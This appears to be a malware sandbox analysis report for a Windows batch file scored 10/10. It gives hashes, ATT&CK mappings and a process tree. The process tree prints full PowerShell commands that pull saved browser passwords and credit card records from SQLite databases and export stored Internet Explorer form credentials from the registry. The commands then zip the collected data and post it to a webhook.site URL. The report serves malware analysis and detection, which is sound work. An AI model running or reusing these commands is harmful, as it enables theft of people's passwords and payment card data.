5ef3bae0daf86c0659cb5ceba585257a7be933982f967465acf30f5594740e73

Analysis

max time kernel
149s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/05/2026, 15:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
deepseek_batch_20260504_e656a9.bat
Size 3KB
Sample260504-sec6vaet4t
SHA256 5ef3bae0daf86c0659cb5ceba585257a7be933982f967465acf30f5594740e73
MD5 8c692ab42db589e7a2a35b3260be8452
SHA1 bdf08073ec25e7d833887f1b1d270b9deb17920a
SHA512 2b57c5627a4d3ea8aef1044c276993d737a6364438cf3930ea1a44fa15faced308175c9db68fa007449532dcd9f628c88faec1631a94b5b8e12dac130c5878e4
TLSH
T1B861A5661605D661118842EC8F1DE280B916E2C7C70A3CC97ADFE092870CBF537BE28D
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf

Extracted

Language

Source

URLs

exe.dropper
https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4748	powershell.exe
19	4748	powershell.exe
30	1452	powershell.exe
31	5368	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1452	powershell.exe
4748	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Delays execution with timeout.exe 6 IoCs

defense_evasion

pid	Process
3548	timeout.exe
3684	timeout.exe
4632	timeout.exe
4396	timeout.exe
4536	timeout.exe
4564	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4748	powershell.exe
4748	powershell.exe
1452	powershell.exe
1452	powershell.exe
5368	powershell.exe
5368	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeDebugPrivilege	5368	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4440 wrote to memory of 4632	4440	cmd.exe	86
PID 4440 wrote to memory of 4396	4440	cmd.exe	87
PID 4440 wrote to memory of 4536	4440	cmd.exe	88
PID 4440 wrote to memory of 4564	4440	cmd.exe	89
PID 4440 wrote to memory of 4748	4440	cmd.exe	90
PID 4440 wrote to memory of 1452	4440	cmd.exe	100
PID 4440 wrote to memory of 6088	4440	cmd.exe	101
PID 4440 wrote to memory of 5368	4440	cmd.exe	102
PID 4440 wrote to memory of 3548	4440	cmd.exe	103
PID 4440 wrote to memory of 3684	4440	cmd.exe	104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260504_e656a9.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4440
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4632
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4396
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4536
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$web='https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf'; $out=''; foreach($f in dir 'C:\Users\Admin\AppData\Local\Temp\wllytmp\*_login') { $q='select origin_url, username_value, password_value from logins'; Add-Type -AssemblyName System.Data.SQLite; $c='Data Source='+$f.FullName; $d=New-Object System.Data.DataSet; $a=New-Object System.Data.SQLite.SQLiteDataAdapter($q,$c); $a.Fill($d); foreach($r in $d.Tables[0].Rows) { $out+='URL: '+$r[0]+' User: '+$r[1]+' Pass: '+[System.Text.Encoding]::UTF8.GetString($r[2])+'`n' } }; Invoke-RestMethod -Uri $web -Method Post -Body $out"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$web='https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf'; $crd=''; foreach($f in dir 'C:\Users\Admin\AppData\Local\Temp\wllytmp\*_web') { $q='select name_on_card, expiration_month, expiration_year, card_number_encrypted from credit_cards'; Add-Type -AssemblyName System.Data.SQLite; $c='Data Source='+$f.FullName; $d=New-Object System.Data.DataSet; $a=New-Object System.Data.SQLite.SQLiteDataAdapter($q,$c); $a.Fill($d); foreach($r in $d.Tables[0].Rows) { $crd+='Card: '+$r[0]+' Exp: '+$r[1]+'/'+$r[2]+' Enc: '+$r[3]+'`n' } }; Invoke-RestMethod -Uri $web -Method Post -Body $crd"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1452
- C:\Windows\system32\reg.exe
  reg export "HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2" "C:\Users\Admin\AppData\Local\Temp\wllytmp\ie_pass.reg"
  2⤵
  PID:6088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\wllytmp\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\wllytmp\wlly.zip' -Force; $b=[Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\wllytmp\wlly.zip')); Invoke-RestMethod -Uri 'https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf' -Method Post -Body $b"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5368
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3548
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3684

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
MD5 223bd4ae02766ddc32e6145fd1a29301
SHA1 900cfd6526d7e33fb4039a1cc2790ea049bc2c5b
SHA512 648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc
TLSH
T10A610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 327c9e95f8345d28e82c2669c5dae69c98cf0b72a1c38c277d0ae722cdb21c68
MD5 e33d94b16e99062bde9fba954b05509d
SHA1 97d856188b83f81e1a7bc409712b9a44502d508a
SHA512 0cb633ece6f495b7acb4c83e63a407f772a3a97185eed37f78c93e40fe7e4b6660d44e2a1d336fa752407490ca8697de7b3964afde7c0659af574fa6b0290ca3
TLSH
T14C218627B3DC8921CC86123A109D9C1076B283C781AECFAFAFC4D604A07F988CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a76a323f59195d470c9cadbf5d34b06004317234fd6462e7d7402d8b88375c98
MD5 489aa8005f6b7925c7d77070149145e0
SHA1 965617fbcbf64519de1ef1555a659b3a400ae382
SHA512 9d57ba9ee5e2a02c386194601a8c23f35ea8121fa9d9de7067475316b15b9b0e1455bf3bee2ed376db1b50a7421dc01627f92df4555d43c62b3aba4d2a491fa2
TLSH
T1DD21762FB39C8AE1DC86153A508DAC10B27582C7C1DECF9B6AC0D600A47F5D8CB69190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_5trfnqfm.squ.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5trfnqfm.squ.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1452-29-0x000002696D830000-0x000002696D9F2000-memory.dmp

Download

memory/1452-31-0x00000269549D0000-0x00000269549DC000-memory.dmp

Download

memory/4748-10-0x00000123F8740000-0x00000123F8750000-memory.dmp

Download

memory/4748-11-0x00000123F8740000-0x00000123F8750000-memory.dmp

Download

memory/4748-12-0x00000123F6790000-0x00000123F679C000-memory.dmp

Download

memory/4748-16-0x00000123F8740000-0x00000123F8750000-memory.dmp

Download

memory/4748-19-0x00000123F6790000-0x00000123F679C000-memory.dmp

Download

memory/4748-0-0x00000123F8740000-0x00000123F8750000-memory.dmp

Download

memory/4748-9-0x00000123F86D0000-0x00000123F86F2000-memory.dmp

Download

memory/4748-1-0x00000123F8740000-0x00000123F8750000-memory.dmp

Download

memory/5368-41-0x0000012703E00000-0x0000012703E0C000-memory.dmp

Download